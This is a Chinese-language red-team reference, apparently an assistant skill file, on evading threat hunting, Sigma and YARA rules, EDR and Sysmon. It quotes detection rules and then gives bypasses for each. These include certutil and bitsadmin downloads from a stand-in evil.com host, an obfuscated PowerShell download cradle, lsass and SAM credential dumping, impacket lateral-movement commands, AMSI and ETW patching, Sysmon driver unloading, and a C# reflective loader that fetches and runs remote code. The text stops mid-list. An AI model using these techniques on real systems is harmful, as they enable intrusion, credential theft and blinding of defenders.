Threat Hunting Evasion

威胁猎杀原理与规避

红队必须理解猎手的思维方式才能不被猎到

深入参考（按需加载）

以下 reference 体量较大，不要在只需要通用猎杀方法论时预读；只有任务明确涉及规则拆解、EDR 逻辑或规避验证时再打开对应文件。

• 需要分析 Sigma/YARA 规则、规则绕过或检测条件拆解 → references/detection-rules-bypass.md
• 需要分析主流 EDR 检测逻辑、遥测来源或行为链路 → references/edr-detection-logic.md

---

Part A: 威胁猎杀方法论（蓝队视角）

三种猎杀范式

1. 假设驱动（Hypothesis-driven）
   "如果 APT29 入侵我们，他们会用 PowerShell 下载器"
   → 搜索: EventID 4104 + "IEX" + "DownloadString"

2. IOC 驱动（IOC-driven）
   "威胁情报显示这个 IP 是 C2"
   → 搜索: 所有连接到该 IP 的主机

3. 分析驱动（Analytics-driven）
   "正常用户不会在凌晨 3 点执行 whoami"
   → 搜索: 异常时间 + 侦察命令组合

常见猎杀查询（你需要绕过的）

# Sigma 规则示例

# 1. 可疑 PowerShell 下载
title: Suspicious PowerShell Download
detection:
  selection:
    EventID: 4104
    ScriptBlockText|contains:
      - 'IEX'
      - 'Invoke-Expression'
      - 'DownloadString'
      - 'Net.WebClient'

# 2. LSASS 访问
title: LSASS Memory Access
detection:
  selection:
    EventID: 10
    TargetImage: 'C:\Windows\System32\lsass.exe'
    GrantedAccess|contains:
      - '0x1010'
      - '0x1410'

# 3. 异常父子进程
title: Suspicious Parent-Child
detection:
  selection:
    ParentImage|endswith: '\outlook.exe'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\mshta.exe'

# 4. 枚举命令组合（5分钟内执行3+侦察命令）
title: Reconnaissance Commands
detection:
  selection:
    CommandLine|contains:
      - 'whoami'
      - 'net user'
      - 'net group'
      - 'ipconfig'
      - 'systeminfo'
    timeframe: 5m
    condition: selection | count() >= 3

猎杀数据源

---

Part B: 红队视角 — 规避威胁猎杀

策略 1: 不匹配已知检测规则

分析 Sigma 仓库公开规则 → 确保你的操作不命中

常见规则绕过：
├─ "IEX(DownloadString)" 检测
│   绕过: 使用 .NET WebClient 直接调用，不走 PS
│   或: certutil / bitsadmin / curl 替代
│
├─ "cmd.exe spawned by outlook.exe" 检测
│   绕过: 使用 COM 对象执行，不创建子进程
│   或: 用 VBA 调用 WMI → wmiprvse.exe 作父进程
│
├─ "lsass.exe access" 检测
│   绕过: Handle duplicate 方式（不直接 OpenProcess）
│   或: 使用 NanoDump 的 MiniDumpWriteDump 替代方式
│
└─ "Reconnaissance command burst" 检测
    绕过: 分散执行（每个命令间隔 10+ 分钟）
    或: 通过 WMI/LDAP 查询代替命令行工具

策略 2: 行为模式正常化

原则：让你的操作看起来像正常业务行为

网络行为正常化：
├─ C2 通信在业务时间（9am-6pm）
├─ 心跳间隔匹配正常 HTTP 刷新（不要太规律）
├─ 流量大小匹配正常 API 调用
├─ 使用目标已有的 SaaS 域名（Slack/Teams API 模仿）
└─ 避免凌晨大量数据传输

主机行为正常化：
├─ 不要短时间内执行多个侦察命令
├─ 使用目标环境已有的工具（LOLBins）
├─ 进程名/路径匹配合法程序
├─ 不要创建明显异常的用户名（admin123/test）
└─ 操作间隔模仿人类行为节奏

策略 3: YARA 规则绕过

YARA 匹配原理：字节序列 + 条件逻辑

绕过方式：
├─ 字符串特征 → XOR/AES 加密关键字符串
├─ 字节序列 → 使用不同编译器/编译选项
├─ 文件结构 → 修改 PE header / Rich header
├─ 入口点模式 → 改变 stub / 使用合法 packer
└─ 行为签名 → 改变 API 调用顺序/方式

验证方式：
yara -r sigma_rules/ my_payload.exe  # 扫描前先自测

策略 4: EDR 行为检测规避

现代 EDR 不只看签名，看行为链：
├─ Process Chain: 邮件→CMD→PowerShell→网络连接 = 恶意
├─ Memory Pattern: RWX + PE header + 远程线程 = 注入
├─ File Pattern: 写入→执行→删除 = dropper
└─ Network Pattern: DNS over HTTPS + 固定间隔 = C2

红队对策：
├─ 断开行为链 → 不要在同一进程内完成所有操作
├─ 时间分散 → 每步操作之间 Sleep 较长时间
├─ 使用合法流程 → 通过 COM/WMI/计划任务执行
├─ 避免 known-bad 组合 → 研究目标 EDR 的检测逻辑
└─ 测试 → 在同类 EDR 环境中预演

策略 5: 猎杀者思维盲区利用

猎杀者常见盲区（可利用）：
├─ 周末/节假日 → 人员不足，响应慢
├─ 正常业务流量 → 混入合法 API 调用难以区分
├─ 非标准数据源 → 如果日志未采集就看不到
├─ 加密流量 → TLS 内容不可见（除非有 TLS 解密）
├─ Cloud 环境 → 日志碎片化，跨平台关联困难
├─ 合法工具 → LOLBins 产生的日志与正常管理操作相同
└─ 告警疲劳 → 大量低优先级告警中隐藏高风险操作

红队自检清单

操作前自检：
[ ] Sigma 公开规则是否命中我的 TTP？
[ ] 我的 C2 通信是否能被 JA3/JARM 识别？
[ ] 我的进程链是否有异常父子关系？
[ ] 我的网络模式是否有固定间隔/大小？
[ ] 我是否在短时间内执行了多个侦察命令？
[ ] 我的工具是否在 VirusTotal 上已有检出？
[ ] 目标是否部署了 Sysmon？配置了哪些规则？
[ ] 目标 EDR 是什么？我是否在同类环境测试过？

Sigma/YARA 检测规则分析与绕过

红队的核心原则：你必须比蓝队更了解他们的检测规则。研究公开的 Sigma/YARA 规则库，确保你的每一步操作都不命中已知检测逻辑。

---

1. Sigma 规则结构与解读

1.1 Sigma 规则基础结构

Sigma 是一种平台无关的检测规则格式，可以转换为 Splunk/Elastic/QRadar 等 SIEM 查询。理解 Sigma 规则就是理解蓝队在搜索什么。

# Sigma 规则标准结构
title: Suspicious PowerShell Download Cradle
id: 6e897651-f157-4d91-af3d-9f0f5a4b4b11
status: stable
description: Detects suspicious PowerShell download patterns
references:
    - https://attack.mitre.org/techniques/T1059/001/
author: Sigma Community
date: 2023/01/15
tags:
    - attack.execution
    - attack.t1059.001
    - attack.t1105
logsource:                          # 数据来源定义
    category: process_creation      # 日志类别
    product: windows                # 操作系统
detection:                          # 核心检测逻辑
    selection_cmd:                  # 选择条件1
        CommandLine|contains:
            - 'IEX'
            - 'Invoke-Expression'
    selection_download:             # 选择条件2
        CommandLine|contains:
            - 'Net.WebClient'
            - 'DownloadString'
            - 'DownloadFile'
            - 'Invoke-WebRequest'
    condition: selection_cmd and selection_download   # 组合条件
level: high
falsepositives:
    - Legitimate admin scripts      # 误报说明

1.2 Sigma 检测逻辑解读要点

检测逻辑解析技巧：
├─ condition 字段是核心 → 决定了哪些 selection 如何组合
│   ├─ "A and B" → 两个条件都满足才告警
│   ├─ "A or B" → 任一条件满足就告警
│   ├─ "A and not B" → 满足 A 但排除 B（有白名单）
│   └─ "selection | count() >= 3" → 需累计达到阈值
│
├─ logsource 字段 → 告诉你蓝队依赖什么数据源
│   ├─ category: process_creation → Sysmon Event 1 / Security 4688
│   ├─ category: image_load → Sysmon Event 7
│   ├─ category: network_connection → Sysmon Event 3
│   ├─ category: file_event → Sysmon Event 11
│   └─ product: windows + service: powershell → PowerShell ScriptBlock (4104)
│
├─ |contains / |endswith / |startswith → 匹配修饰符
│   ├─ |contains → 包含任意位置匹配（最常见）
│   ├─ |endswith → 路径/文件名末尾匹配
│   ├─ |startswith → 开头匹配
│   ├─ |re → 正则表达式（少见但更强）
│   └─ |all → 列表中所有值都必须匹配
│
└─ falsepositives 字段 → 可利用的白名单/盲区
    └─ 如果写了 "Legitimate admin scripts" → 伪装成管理脚本可能绕过

1.3 快速分析 Sigma 规则的方法

# 克隆 Sigma 官方规则库
git clone https://github.com/SigmaHQ/sigma.git
cd sigma/rules/windows

# 搜索与你的 TTP 相关的规则
grep -rl "powershell" --include="*.yml" .
grep -rl "lsass" --include="*.yml" .
grep -rl "mimikatz" --include="*.yml" .
grep -rl "scheduled_task" --include="*.yml" .

# 查看特定规则的检测条件
cat process_creation/proc_creation_win_powershell_download.yml

# 使用 sigmac 转换为具体 SIEM 查询（了解蓝队实际看到的查询）
# Splunk 格式
sigma convert -t splunk -p sysmon rules/windows/process_creation/proc_creation_win_powershell_download.yml

# Elastic 格式
sigma convert -t elasticsearch rules/windows/process_creation/proc_creation_win_powershell_download.yml

---

2. 企业 SIEM 常见 Sigma 规则 Top 20 与绕过

规则 1: Suspicious PowerShell Download

# 检测逻辑
detection:
  selection:
    CommandLine|contains:
      - 'IEX'
      - 'Invoke-Expression'
      - 'DownloadString'
      - 'Net.WebClient'
      - 'Invoke-WebRequest'
      - 'wget'
      - 'curl'

绕过方法：
├─ 方法1: 不使用 PowerShell 下载
│   使用 certutil / bitsadmin / MpCmdRun.exe 等 LOLBins
│   > certutil -urlcache -split -f http://evil.com/payload.exe C:\temp\legit.exe
│   > bitsadmin /transfer job /download /priority high http://evil.com/p.exe C:\temp\p.exe
│
├─ 方法2: 使用 .NET 方法代替 PS cmdlet（绕过 ScriptBlock 日志）
│   > [System.Net.ServicePointManager]::SecurityProtocol=[System.Net.SecurityProtocolType]::Tls12
│   > $c=New-Object System.Net.Sockets.TcpClient("host",443)
│
├─ 方法3: PowerShell 字符串混淆
│   > $a='IEX';$b='(New-Object Net.We';$c='bClient).Downlo';$d='adString';
│   > &($a) "$b$c$d('http://evil.com/p.ps1')"
│
└─ 方法4: 使用 PowerShell runspace 执行（不产生新进程）
    通过 C# 加载 PowerShell runspace → 父进程为你的 loader

规则 2: LSASS Memory Access

# 检测逻辑（Sysmon Event 10）
detection:
  selection:
    EventID: 10
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess|contains:
      - '0x1010'    # PROCESS_QUERY_LIMITED_INFORMATION + PROCESS_VM_READ
      - '0x1410'    # + PROCESS_QUERY_INFORMATION
      - '0x1FFFFF'  # PROCESS_ALL_ACCESS
      - '0x1038'
  filter:
    SourceImage|endswith:
      - '\wmiprvse.exe'
      - '\taskmgr.exe'
      - '\procexp64.exe'

绕过方法：
├─ 方法1: Handle Duplication（不直接 OpenProcess lsass）
│   ├─ 打开一个已有 lsass handle 的进程
│   ├─ 使用 NtDuplicateObject 复制其 handle
│   └─ GrantedAccess 不同，绕过规则中的特定值
│
├─ 方法2: 使用 PPL（Protected Process Light）绕过
│   ├─ 加载签名驱动 → 从内核态读取 lsass 内存
│   └─ 工具: PPLdump, mimidrv.sys
│
├─ 方法3: MiniDumpWriteDump 替代方案
│   ├─ NanoDump: 使用 syscall 直接调用，不走 ntdll
│   ├─ 自定义 dump: 读取 lsass 进程内存中的特定结构
│   └─ comsvcs.dll 方式: rundll32 comsvcs.dll MiniDump <lsass_pid> dump.bin full
│
├─ 方法4: 利用白名单进程
│   ├─ 通过 WerFault.exe 触发 lsass dump
│   ├─ 通过 procdump.exe（SysInternals 签名工具）
│   └─ SourceImage 在白名单中 → 不告警
│
└─ 方法5: 不 dump lsass（替代凭据获取途径）
    ├─ SAM 数据库: reg save HKLM\SAM sam.bak
    ├─ DCSync: 使用 Mimikatz DCSync 直接从 DC 获取
    ├─ Kerberoasting: 不需要 lsass
    └─ NTDS.dit: 如果已有 DC 权限

规则 3: Suspicious Parent-Child Process Relationship

# 检测逻辑
detection:
  selection:
    ParentImage|endswith:
      - '\outlook.exe'
      - '\excel.exe'
      - '\winword.exe'
      - '\powerpnt.exe'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\mshta.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\certutil.exe'

绕过方法：
├─ 方法1: 通过 COM 对象断开进程链
│   VBA → Shell.Application → COM → svchost.exe → 你的进程
│   父进程变为 svchost.exe 而非 Office 进程
│
├─ 方法2: WMI 间接执行
│   VBA → WMI Win32_Process.Create → wmiprvse.exe → 你的进程
│   父进程变为 wmiprvse.exe
│
├─ 方法3: 计划任务
│   VBA → schtasks /create → taskeng.exe/taskhostw.exe → 你的进程
│   父进程变为 taskhostw.exe
│
├─ 方法4: 使用 DDE 而非 VBA 宏
│   不执行 VBA → 不触发 Office 启动 cmd/powershell
│
└─ 方法5: 注入已有合法进程
    VBA → Early Bird APC 注入到 explorer.exe
    不创建新进程 → 完全绕过父子关系检测

规则 4: Reconnaissance Command Burst

# 检测逻辑
detection:
  selection:
    CommandLine|contains:
      - 'whoami'
      - 'net user'
      - 'net group'
      - 'ipconfig'
      - 'systeminfo'
      - 'nltest'
      - 'net localgroup'
      - 'tasklist'
  timeframe: 5m
  condition: selection | count() >= 3

绕过方法：
├─ 方法1: 时间分散
│   每个命令间隔 10+ 分钟 → 不触发 5m 内 3 次的阈值
│   在 Beacon sleep 之间穿插单个侦察命令
│
├─ 方法2: 使用替代方法获取同等信息
│   whoami → [Environment]::UserName / token 查询
│   net user → LDAP 查询 / PowerView Get-DomainUser
│   ipconfig → [System.Net.Dns]::GetHostAddresses("")
│   systeminfo → WMI Win32_OperatingSystem
│   tasklist → WMI Win32_Process
│
├─ 方法3: 单命令获取全部信息
│   一次 LDAP 查询获取所有需要的域信息
│   一次 WMI 查询获取所有主机信息
│   只产生 1 个进程事件而非 5+
│
└─ 方法4: 通过 BOF（Beacon Object File）执行
    BOF 在 Beacon 进程内执行，不创建新进程
    不产生 process_creation 事件 → Sysmon Event 1 无记录

规则 5: Credential Dumping via Registry

detection:
  selection:
    CommandLine|contains:
      - 'reg save'
      - 'reg export'
    CommandLine|contains:
      - 'HKLM\SAM'
      - 'HKLM\SYSTEM'
      - 'HKLM\SECURITY'

绕过方法：
├─ 方法1: 使用 esentutl 复制注册表 hive 文件
│   > esentutl.exe /y /vss C:\Windows\System32\config\SAM /d C:\temp\sam
│
├─ 方法2: Volume Shadow Copy
│   > wmic shadowcopy call create Volume='C:\'
│   > copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\sam
│
├─ 方法3: 直接读取磁盘（绕过文件系统 API）
│   使用 NtfsLib 直接读取 NTFS 扇区
│   不产生文件操作日志
│
└─ 方法4: DCSync（如果目标是域凭据）
    不接触注册表 → 通过 DRSUAPI 协议从 DC 复制

规则 6: PsExec Usage

detection:
  selection_service:
    EventID: 7045      # Service Installation
    ServiceName: 'PSEXESVC'
  selection_pipe:
    PipeName|contains: '\PSEXESVC'

绕过方法：
├─ 方法1: 修改 PsExec 服务名
│   impacket-psexec 支持自定义服务名:
│   > impacket-psexec -service-name "WinMgmtSvc" DOMAIN/user:pass@target
│
├─ 方法2: 使用 SMBExec（不写入服务）
│   > impacket-smbexec DOMAIN/user:pass@target
│
├─ 方法3: 使用 WMI 执行
│   > impacket-wmiexec DOMAIN/user:pass@target
│
├─ 方法4: 使用 WinRM
│   > evil-winrm -i target -u user -p 'pass'
│
└─ 方法5: 使用 DCOM 执行
    > impacket-dcomexec DOMAIN/user:pass@target

规则 7: Mimikatz Command Line Arguments

detection:
  selection:
    CommandLine|contains:
      - 'sekurlsa'
      - 'kerberos::list'
      - 'lsadump'
      - 'privilege::debug'
      - 'token::elevate'
      - 'crypto::certificates'

绕过方法：
├─ 方法1: 在内存中执行（不产生命令行）
│   Invoke-Mimikatz 在 PowerShell 内存中 → 不创建新进程
│   但注意 ScriptBlock Logging 仍会记录
│
├─ 方法2: 使用 Cobalt Strike 的 logonpasswords/dcsync
│   通过 BOF 执行 → 不产生命令行参数
│
├─ 方法3: 使用替代工具
│   pypykatz → Python 实现，在攻击机解析 dump 文件
│   NanoDump → 直接 dump lsass 无需 mimikatz
│   Rubeus → C# 实现 Kerberos 攻击
│
└─ 方法4: 如果必须使用命令行
    混淆: mimi"kat"z privilege::debug → 字符串断开
    但现代 EDR 通常能处理简单混淆

规则 8: Scheduled Task Creation

detection:
  selection_cli:
    CommandLine|contains:
      - 'schtasks'
      - '/create'
  selection_event:
    EventID: 4698   # Scheduled Task Created

绕过方法：
├─ 方法1: 使用 COM 对象创建计划任务（不产生 schtasks 命令行）
│   通过 ITaskService COM 接口 → 不触发命令行检测
│   但仍产生 EventID 4698
│
├─ 方法2: 修改已有计划任务（不创建新任务）
│   > schtasks /change /tn "ExistingTask" /tr "new_command"
│   不触发 4698 → 触发 4702（Task Updated）
│   许多 Sigma 规则不监控 4702
│
├─ 方法3: 直接操作注册表
│   计划任务存储在:
│   HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache
│   直接写注册表 → 可能不触发 4698
│
└─ 方法4: 使用替代持久化
    Registry Run Keys → 更简单但也有对应规则
    WMI Event Subscription → 检测较少
    DLL 劫持 → 无新对象创建

规则 9: Suspicious Service Installation

detection:
  selection:
    EventID: 7045
    ServiceFileName|contains:
      - 'cmd.exe'
      - 'powershell'
      - '/c '
      - 'COMSPEC'
      - '.bat'
      - '.ps1'

绕过方法：
├─ 方法1: 使用合法 EXE 路径作为服务二进制
│   注册服务指向: C:\Windows\System32\svchost.exe -k netsvcs
│   通过 DLL 劫持让 svchost 加载恶意 DLL
│
├─ 方法2: 服务二进制为编译好的 EXE（不含可疑命令行）
│   自定义 Service EXE → 无 cmd/powershell 参数
│
└─ 方法3: 使用现有合法服务
    修改已有服务的 ImagePath（binpath）
    不创建新服务 → 不触发 7045

规则 10: Remote Thread Injection

detection:
  selection:
    EventID: 8            # CreateRemoteThread
    SourceImage|endswith:
      - '\powershell.exe'
      - '\cmd.exe'
      - '\rundll32.exe'
  filter:
    TargetImage|endswith: '\svchost.exe'

绕过方法：
├─ 方法1: 使用 APC 注入代替 CreateRemoteThread
│   QueueUserAPC → 不产生 Sysmon Event 8
│
├─ 方法2: Process Hollowing
│   创建合法进程（suspended）→ 替换内存 → 恢复执行
│   不使用 CreateRemoteThread
│
├─ 方法3: 使用合法 SourceImage
│   从 explorer.exe / services.exe 上下文注入
│   SourceImage 在白名单中
│
├─ 方法4: Early Bird 注入
│   在进程初始化前注入 → APC 在 main thread 启动前执行
│
└─ 方法5: Module Stomping
    覆盖已加载 DLL 的 .text 段 → 不分配新内存
    不触发 RWX 内存分配检测

规则 11-20 速查表

---

3. YARA 规则结构与规避

3.1 YARA 规则基础

// YARA 规则结构示例
rule CobaltStrike_Beacon_Generic {
    meta:
        description = "Detects Cobalt Strike Beacon"
        author = "Florian Roth"
        date = "2023-01-01"
        score = 80

    strings:
        // 字符串匹配
        $s1 = "beacon.dll" ascii wide
        $s2 = "ReflectiveLoader" ascii
        $s3 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" ascii

        // Hex 模式匹配
        $h1 = { 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 }  // MZ header
        $h2 = { 48 8B 05 ?? ?? ?? ?? 48 85 C0 74 ?? }              // x64 code pattern

        // 正则匹配
        $r1 = /https?:\/\/[a-zA-Z0-9\-\.]+\/[a-zA-Z]{4}/ ascii

    condition:
        uint16(0) == 0x5A4D and         // PE 文件
        filesize < 500KB and            // 文件大小限制
        (2 of ($s*) or any of ($h*))    // 字符串组合条件
}

3.2 YARA 规避技术

YARA 规则分析与规避流程：

1. 扫描你的 Payload 确认命中哪些规则
   $ yara -r /path/to/rules/ payload.exe
   $ yara -s -r /path/to/rules/ payload.exe    # 显示匹配的字符串

2. 针对每个命中的规则分析突破点

字符串规避（$s 类型）：
├─ ASCII/Wide 字符串 → XOR 加密 + 运行时解密
│   "beacon.dll" → XOR 0x41 → 存储密文，运行时 XOR 回来
├─ API 名称字符串 → 动态 API 解析（GetProcAddress hash）
│   不在二进制中硬编码 API 名 → YARA 无法匹配
├─ URL/路径 → 运行时拼接或从配置解密
└─ 宽字符（wide）→ 使用 UTF-8 或自定义编码代替 UTF-16

Hex 模式规避（$h 类型）：
├─ 函数序言 → 改变编译器/编译选项
│   -O0 vs -O2 vs -Os 产生不同的机器码
├─ 代码模式 → 插入 junk instructions（NOP sled 变体）
├─ 结构体布局 → 改变字段顺序/对齐方式
└─ 通配符 (??) → 如果规则有 wildcard，需要改变整段代码结构

条件规避：
├─ filesize 限制 → Padding 使文件大小超出范围
│   rule 要求 filesize < 500KB → 填充到 600KB
├─ PE header 检查 → 使用非 PE 格式（shellcode / DLL sideloading）
├─ "N of ($s*)" → 只需消除足够多的字符串使计数低于阈值
│   如 condition: 3 of ($s*) → 消除到只有 2 个匹配
└─ uint16(0) == 0x5A4D → 使用 shellcode 格式（无 PE header）

3.3 实用 YARA 规避脚本

#!/usr/bin/env python3
"""
yara_check.py - 批量扫描 payload 并报告命中规则
用于红队在投递前自测 payload
"""

import yara
import sys
import os
import json

def compile_rules(rules_dir):
    """编译指定目录下的所有 YARA 规则"""
    rule_files = {}
    for root, dirs, files in os.walk(rules_dir):
        for f in files:
            if f.endswith(('.yar', '.yara')):
                path = os.path.join(root, f)
                rule_files[f] = path
    return yara.compile(filepaths=rule_files)

def scan_file(rules, filepath):
    """扫描文件并返回命中结果"""
    matches = rules.match(filepath)
    results = []
    for match in matches:
        result = {
            "rule": match.rule,
            "tags": match.tags,
            "strings": []
        }
        for offset, identifier, data in match.strings:
            result["strings"].append({
                "offset": hex(offset),
                "identifier": identifier,
                "data": data[:50].hex()  # 只显示前 50 字节
            })
        results.append(result)
    return results

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <rules_dir> <payload_file>")
        sys.exit(1)

    rules = compile_rules(sys.argv[1])
    results = scan_file(rules, sys.argv[2])

    if results:
        print(f"[!] {len(results)} rules matched:")
        for r in results:
            print(f"  Rule: {r['rule']}")
            print(f"  Tags: {r['tags']}")
            for s in r["strings"]:
                print(f"    {s['identifier']} @ {s['offset']}: {s['data']}")
    else:
        print("[+] No rules matched - payload is clean")

---

4. EDR 行为检测模式与绕过

4.1 EDR 检测层次模型

现代 EDR 检测架构（从浅到深）：

Layer 1: 静态签名
├─ 文件哈希（SHA256）→ 已知恶意文件直接拦截
├─ YARA 规则 → 字节模式匹配
└─ 导入表分析 → 可疑 API 组合

Layer 2: 行为规则
├─ 进程链分析 → 异常父子关系
├─ API 调用序列 → VirtualAlloc → WriteProcessMemory → CreateRemoteThread = 注入
├─ 文件操作 → 写入+执行+删除 = dropper 模式
└─ 网络行为 → 进程首次外连 + 非常见目的地

Layer 3: 机器学习
├─ 特征向量 → PE 结构/字符串熵值/节区权限/导入函数
├─ 行为序列 → LSTM/Transformer 模型分析时序操作
└─ 异常检测 → 偏离基线的操作模式

Layer 4: 内存扫描
├─ 周期性扫描进程内存 → 检测内存中的 shellcode/解密后 payload
├─ RWX 页面检测 → 可执行+可写内存 = 可疑
├─ Unbacked 内存执行 → 不属于任何 DLL 的可执行内存
└─ ETW（Event Tracing for Windows）→ 内核级别遥测

4.2 主流 EDR 检测重点与绕过策略

CrowdStrike Falcon:
├─ 强项: 内核级驱动 + 云端分析 + 行为链
├─ 检测重点: 进程注入、凭据访问、横向移动
├─ 绕过思路:
│   ├─ 使用 Direct Syscalls（绕过 ntdll hook）
│   ├─ 避免 CreateRemoteThread（使用 APC/callback）
│   └─ 通过 LOLBins 执行（避免异常进程链）

Microsoft Defender for Endpoint:
├─ 强项: AMSI 集成 + ETW 遥测 + 云端 AI
├─ 检测重点: PowerShell/脚本执行、AMSI 绕过尝试
├─ 绕过思路:
│   ├─ AMSI bypass（patch AmsiScanBuffer）
│   ├─ ETW patching（patch EtwEventWrite）
│   └─ 使用编译型语言（避免脚本引擎）

SentinelOne:
├─ 强项: 自主 AI 引擎 + 无签名检测 + 回滚能力
├─ 检测重点: 机器学习模型 + 行为引擎
├─ 绕过思路:
│   ├─ Payload 结构去特征化（降低熵值、添加合法资源）
│   ├─ 延迟执行（绕过沙箱超时）
│   └─ 分离 shellcode 和 loader（loader 本身无恶意特征）

4.3 通用 EDR 绕过策略

策略1: Direct Syscalls（绕过用户态 hook）
├─ EDR 通常 hook ntdll.dll 中的函数
├─ 直接使用 syscall 指令跳过 hook
├─ 工具: SysWhispers3, HellsGate, HalosGate
└─ 注意: 部分 EDR 监控 syscall 来源（非 ntdll 地址 = 可疑）

策略2: 间接 Syscalls
├─ 从 ntdll 中查找 syscall;ret 地址
├─ 跳转到该地址执行 syscall
├─ 调用栈看起来来自 ntdll → 绕过栈回溯检测

策略3: 回调函数执行（替代 CreateThread）
├─ EnumWindows callback
├─ CertEnumSystemStore callback
├─ SetTimer callback
├─ EnumDesktops callback
└─ 不创建新线程 → 不触发线程创建检测

策略4: 合法签名进程代理执行
├─ DLL Side-Loading: 利用合法签名 EXE 加载恶意 DLL
├─ Module Stomping: 覆盖已加载的合法 DLL
├─ Phantom DLL Hollowing: 映射删除的 DLL → 代码执行
└─ Transacted Hollowing: 使用 NTFS Transaction

---

5. Sysmon 配置分析（发现盲区）

5.1 Sysmon 事件类型与红队关注点

Sysmon 事件 ID 与红队影响：

Event 1  - Process Creation     → 进程创建（最常用的检测源）
Event 2  - File Creation Time   → 时间戳修改
Event 3  - Network Connection   → 网络连接（C2 检测）
Event 5  - Process Termination  → 进程终止
Event 6  - Driver Loaded        → 驱动加载
Event 7  - Image Loaded         → DLL 加载
Event 8  - CreateRemoteThread   → 远程线程注入
Event 9  - RawAccessRead        → 磁盘原始读取
Event 10 - ProcessAccess        → 进程访问（lsass 检测）
Event 11 - FileCreate           → 文件创建
Event 12 - Registry Create/Del  → 注册表创建/删除
Event 13 - Registry Value Set   → 注册表值修改
Event 14 - Registry Rename      → 注册表重命名
Event 15 - FileCreateStreamHash → ADS 创建
Event 17 - PipeCreated          → 命名管道创建
Event 18 - PipeConnected        → 命名管道连接
Event 22 - DNSQuery             → DNS 查询
Event 23 - FileDelete           → 文件删除
Event 25 - ProcessTampering     → 进程篡改检测
Event 26 - FileDeleteDetected   → 文件删除检测
Event 28 - FileBlockShredding   → 文件粉碎阻止

5.2 分析目标 Sysmon 配置

# 检查 Sysmon 是否安装
Get-Service sysmon*
Get-Process sysmon*

# 获取 Sysmon 配置（需要管理员权限）
# 方法1: 导出当前配置
sysmon -c

# 方法2: 查看注册表中的配置 hash
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters"

# 方法3: 从 Sysmon 驱动内存中提取配置
# 使用 SysmonConfigExtractor 工具

5.3 常见 Sysmon 配置盲区

大多数企业使用 SwiftOnSecurity 或 DVMS 的 Sysmon 配置模板。
这些模板有已知的盲区：

盲区 1: 未监控的进程
├─ 默认排除: MsMpEng.exe, chrome.exe, firefox.exe, svchost.exe 的部分事件
├─ 利用: 通过 DLL 注入到 chrome.exe → 网络连接不被记录
└─ 验证: 检查配置中的 <ProcessCreate onmatch="exclude"> 段

盲区 2: 未监控的路径
├─ 默认排除: C:\Windows\Temp\ 下的某些操作
├─ 默认排除: C:\ProgramData\ 下的部分文件操作
└─ 利用: 在排除路径下操作

盲区 3: 未监控的事件类型
├─ 许多配置不启用 Event 9 (RawAccessRead)
├─ 许多配置不启用 Event 15 (FileCreateStreamHash/ADS)
├─ Event 22 (DNS Query) 在旧版本配置中常缺失
└─ 利用: 使用原始磁盘读取代替文件 API

盲区 4: 网络连接白名单
├─ 到 Microsoft/Google/Amazon IP 的连接常被排除
├─ 443 端口连接可能被排除（太多合法 HTTPS 流量）
└─ 利用: C2 使用 Cloud Provider IP + 443 端口

5.4 Sysmon 绕过技术

技术1: 修改 Sysmon 配置（需 SYSTEM 权限）
├─ fltMC unload SysmonDrv → 卸载 Sysmon 驱动
├─ ⛔ 高风险: 会产生 Sysmon 停止事件，立即被发现
└─ 仅在确认无人值守监控时使用

技术2: 利用配置排除规则
├─ 确认目标 Sysmon 排除了哪些进程/路径
├─ 在排除范围内操作
└─ 低风险: 不修改 Sysmon 本身

技术3: Event Tracing Patching
├─ Patch NtTraceEvent → 阻止事件上报
├─ 仅影响特定进程的事件
└─ 中风险: 可能被 EDR 检测到 patch 行为

技术4: Minifilter Altitude 竞争
├─ 注册一个更高 altitude 的 minifilter
├─ 在 Sysmon 之前拦截/修改事件
└─ 高复杂度: 需要内核驱动

---

6. 实战绕过案例

案例 1: 绕过 "Suspicious PowerShell" 检测规则

目标: 在启用 PowerShell ScriptBlock Logging (EventID 4104) + Sysmon 进程监控的环境中下载并执行 Payload。

检测规则覆盖:
├─ Sigma: Suspicious PowerShell Download Cradle (Event 4104)
├─ Sigma: Suspicious PowerShell Encoded Command (Event 1)
├─ Sysmon: Process Creation with powershell.exe (Event 1)
├─ Sysmon: Network Connection from powershell.exe (Event 3)
└─ EDR: PowerShell 进程行为链

绕过策略: 完全避免使用 PowerShell

// 方法: 使用 C# 编译的 EXE，通过 .NET API 下载并反射加载
// 不产生 powershell.exe 进程
// 不触发 ScriptBlock Logging
// 不触发 "PowerShell" 相关 Sigma 规则

using System;
using System.Net;
using System.Reflection;

namespace Loader
{
    class Program
    {
        static void Main(string[] args)
        {
            // 使用 WebClient 下载（与 PowerShell 的 Net.WebClient 是同一个类）
            // 但因为不在 PowerShell 上下文中，不触发 PS 相关检测
            ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;

            WebClient wc = new WebClient();
            // 伪装 User-Agent
            wc.Headers.Add("User-Agent",
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36");

            byte[] data = wc.DownloadData("https://cdn-assets.example.com/api/v1/config");

            // 反射加载 .NET assembly
            Assembly asm = Assembly.Load(data);
            asm.EntryPoint.Invoke(null, new object[] { new string[] { } });
        }
    }
}

更隐蔽的替代方案：

方案A: 通过 msbuild.exe 执行（LOLBin，微软签名）
├─ 编写 .csproj 文件包含内联 C# 代码
├─ > C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj
├─ 进程为 MSBuild.exe → 微软签名进程
└─ 许多 Sysmon 配置排除 MSBuild

方案B: 通过 InstallUtil.exe 执行
├─ 编译包含 [System.ComponentModel.RunInstaller(true)] 的 DLL
